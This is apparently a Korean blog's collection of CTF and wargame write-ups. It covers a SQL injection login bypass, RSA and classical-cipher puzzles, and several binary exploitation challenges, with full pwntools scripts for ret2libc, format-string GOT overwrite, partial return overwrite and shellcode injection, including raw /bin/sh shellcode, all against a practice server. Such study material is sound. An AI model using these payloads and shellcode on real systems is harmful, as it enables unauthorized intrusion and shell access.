반응형
반응형
반응형

LORD OF SQLINJECTION

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr

 

gremlin

 

1
2
3
4
5
6
7
8
9
10
11
12
13
 
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>
cs

 

if($result['id']) solve("gremlin");

 

id만 찾아내면 문제가 풀린다.

 

id를 admin으로 두고, pw을 무조건 참이되도록 pw='1' or '1'='1'로 만들면 된다.

 

 

쿼리에 아래와 같이 입력하면 된다.

id=admin&pw=1' or '1'='1

반응형
반응형

RSA - Factorisation

 

c : e8oQDihsmkvjT3sZe+EE8lwNvBEsFegYF6+OOFOiR6gMtMZxxba/bIgLUD8pV3yEf0gOOfHuB5bC3vQmo7bE4PcIKfpFGZBA

 

와 공개키 pem파일이 주어진다.

 

 

 

openssl을 이용해서 n과 e를 구한다.

 

>openssl rsa -in pubkey.pem -pubin -text -modulus

RSA Public-Key: (576 bit)
Modulus:
    00:c2:cb:b2:4f:db:f9:23:b6:12:68:e3:f1:1a:38:
    96:de:45:74:b3:ba:58:73:0c:bd:65:29:38:86:4e:
    22:23:ee:eb:70:4a:17:cf:d0:8d:16:b4:68:91:a6:
    14:74:75:99:39:c6:e4:9a:af:e7:f2:59:55:48:c7:
    4c:1d:7f:b8:d2:4c:d1:5c:b2:3b:4c:d0:a3
Exponent: 65537 (0x10001)
Modulus=C2CBB24FDBF923B61268E3F11A3896DE4574B3BA58730CBD652938864E2223EEEB704A17CFD08D16B46891A61474759939C6E49AAFE7F2595548C74C1D7FB8D24CD15CB23B4CD0A3
writing RSA key
-----BEGIN PUBLIC KEY-----
MGQwDQYJKoZIhvcNAQEBBQADUwAwUAJJAMLLsk/b+SO2Emjj8Ro4lt5FdLO6WHMM
vWUpOIZOIiPu63BKF8/QjRa0aJGmFHR1mTnG5Jqv5/JZVUjHTB1/uNJM0VyyO0zQ
owIDAQAB
-----END PUBLIC KEY-----

 

 

n(10진수) = 188198812920607963838697239461650439807163563379417382700763356422988859715234665485319060606504743045317388011303396716199692321205734031879550656996221305168759307650257059

 

온라인 툴을 이용해서 n을 소인수분해를 시도 했지만 성공하지 못했다.

그래서 rsa 576으로 검색을 해보았는데 p q가 구해진 것을 찾을 수 있었다.

 

p = 398075086424064937397125500550386491199064362342526708406385189575946388957261768583317

q = 472772146107435302536223071973048224632914695302097116459852171130520711256363590397527

 

 

 

반응형
반응형

Cryptography

 

Art 150

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

INFO{HO_OHO_OHOOHO_HELLO_THIS_IS_MATSURI_YOU_KNOW_FREEMASON_CIPHER!!!!}

 

 

 

Quick Brown Fox

150

 

1. 모스부호 디코딩 -> 2. dec to ascii -> 3. reverse(앞 뒤를 뒤집는다.) -> link!(링크로 접속) and find flag in imag (이미지 속에서 플래그를 찾을 수 있다.)

 

1. https://morsecode.scphillips.com/translator.html

 

2. https://www.branah.com/ascii-converter

변환후 Remove spaces 클릭하자

 

3. https://cryptii.com/

Reverse 선택

 

 

 

 

Baby RSA 250

c^d mod (p*q) = m(평문)

 

system32.kr RSA 문제들 풀이 참조

 

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

 

 

VcipherTEXT

250

비제네르 키 길이 3로 브포 공격

https://www.dcode.fr/vigenere-cipher

 

key 길이 3을 몰라도, 브포 공격으로 해도 나오긴 한다.

 

 

 

No RSA No Life

rsatool.py 이용해서 d를 구한뒤 baby rsa와 동일 풀이

 

system32.kr RSA문제 풀이 참조:

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

반응형
반응형

32bit ELF

 

 

rtl로 푼다.

 

IDA를 이용해 system()의 주소와 "/bin/sh"의 주소를 쉽게 구할 수 있다.

 

 

system()

 

 

"/bin/sh"

"/bin/sh"는 main함수에 있는 "/bin/sh"을 따라가면 된다.

 

 

 

 

main 함수

5번에서 bof가 일어난다.

 

buf의 위치는 bp-8C이다.

0x8C = 140

 

payload = dummy[140] +dummy sfp[4] + system() + dummy[4] + binsh

 

ex.py

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3010)
 
p.recvuntil(">>> ")
p.sendline("5")
p.recvuntil("> ")
 
binsh = 0x08048EB1
system = 0x080485B0
 
payload = "A"*144
payload += p32(system)
payload += "A"*4
payload += p32(binsh)
 
p.sendline(payload)
 
p.interactive()
 
cs

 

nc 접속 > 5 입력 > payload 입력 > 쉘 획득!

반응형
반응형

32bit ELF

 

 

 

두 개의 함수가 있다.

 

FSB

 

flag() = 0x080485B4 = 134514100

 

 

printf의 got를 flag()로 overwrite 한다.

 

payload = printf_got(덮을 위치) + %(flag()-4)x + %n

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3002)
= ELF('./basic_fsb')
 
printf_got = e.got['printf']
 
p.recvuntil(": ")
 
payload = p32(printf_got)
payload += "%134514096x%n"
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32bit ELF FILE이다.

 

 

3개의 함수가 존재한다.

 

main함수

 

welcome함수. bof가 발생하는 함수다.

v1의 위치는 bp-12h이다. ret을 덮기 위해 dummy 22바이트가 필요함을 기억해둔다.

 

 

 

플래그를 출력해주는 함수

 

welcome함수에서 welcome함수의 주소를 출력해준다.

해당 함수의 주소를 기준으로 j0n9hyun함수의 주소를 구해서 ret을 덮어주면 된다.

 

welcome offset 0x909
j0n9hyun offset 0x890

0x909 - 0x890 = 0x79

welcome()의 주소 - 0x79 = j0n9hyun()의 주소

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3008)
 
p.recvline()
 
p.recvuntil("is ")
welcome = int(p.recv(10), 16)
print hex(welcome)
 
 
payload = "A" * (22)
 
payload += p32(welcome-0x79)
 
p.sendline(payload)
 
p.interactive()
 
cs
반응형
반응형

32bit ELF 파일이다.

 

main함수로 ㄱㄱ

 

 

 

gets함수로 s에 길이 제한 없이 입력을 받는다.

그리고 select_func의 인자로 넘긴다.

 

select_func을 보자

 

아까 받은 인자가 src이다.

 

src 에서 dest로 31바이트만큼 복사한다.

 

dest가 one이면 one함수를, 아니면 two함수를 실행한다.

 

v3에 저장된 함수를 call한다.

 

 

위에서 31바이트만큼 복사를 하는데,

 

dest는 bp-2Ah에 있고, v3는 bp-Ch에 있고,

 

2A-C = 30이다.

 

그러면 v3의 1바이트만을 덮을 수 있다.

 

 

two함수의 offset은 0x6AD이고, flag를 출력해주는 print_flag의 offset은 0x6D8이다.

 

입력값이 one이 아니라면 v3에 0x6AD가 들어갈 것이고 1바이트를 \xD8로 덮어준다면 0x6D8이 되어서 해당 함수가 실행되고 flag가 출력된다.

 

payload = 더미(30) + "\xd8"

 

 

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3007)
 
p.recvline()
 
payload = "A" * (30)
payload += "\xd8"
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

32bit ELF File이다.

 

main함수로 ㄱㄱ

 

 

데이터를 입력받고, 입력받은 곳의 주소를 출력해준다. 그리고 y를 보내주면 루프를 반복시킬 수 있다.

 

더미 데이터를 보내서 주소값을 얻어내고, 쉘코드 + 더미 + 얻은 주소값(ret)를 보내주면 쉘을 딸 수 있다.

 

s와 ret사이 거리는 0x88 + 0x4 = 136+4 = 140이다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3006)
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" #25
p.recvuntil(": ")
p.sendline("1")
buf = int(p.recv(10), 16)
print hex(buf)
p.sendline("y")
 
payload = shellcode
payload += "A" * (140-25)
payload += p32(buf)
 
p.sendline(payload)
 
p.interactive()
 
cs

1을 보내주어서 버퍼 주소값을 구한다.

y 입력으로 루프를 한 번더 진행시킨다.

쉘코드를 넣고 리턴주소를 덮어준다.

 

interactive()모드에서 n을 입력해주어 루프를 벗어난다.

쉘을 딴다.

 

반응형
반응형

64bit ELF FILE이다.

 

main함수를 보자.

 

buffer의 주소를 출력해 준다.

 

buffer에 64bit용 shellcode을 올려주고 리턴주소를 buffer의 주소로 덮어주면 된다.

 

0x6D30 = 27952(10)

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3005)
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #x64
p.recvuntil(": ")
buf = int(p.recv(14), 16)
print hex(buf)
 
payload = shellcode
payload += "A" * (27960-23)
payload += p64(buf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형
반응형

64bit elf다.

 

바로 main함수를 보자

 

 

입력제한 없이 입력을 받는다. ret주소를 callMeMaybe()함수의 주소로 덮으면 된다.

 

 

함수 주소 : 0x400641

 

110h = 272, 272+8(sfp) =280

 

ex.py

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3004)
 
shellf = 0x400606
sleep(1)
 
payload = "A" * 280
payload += p64(shellf)
 
p.sendline(payload)
 
p.interactive()
cs
반응형

+ Recent posts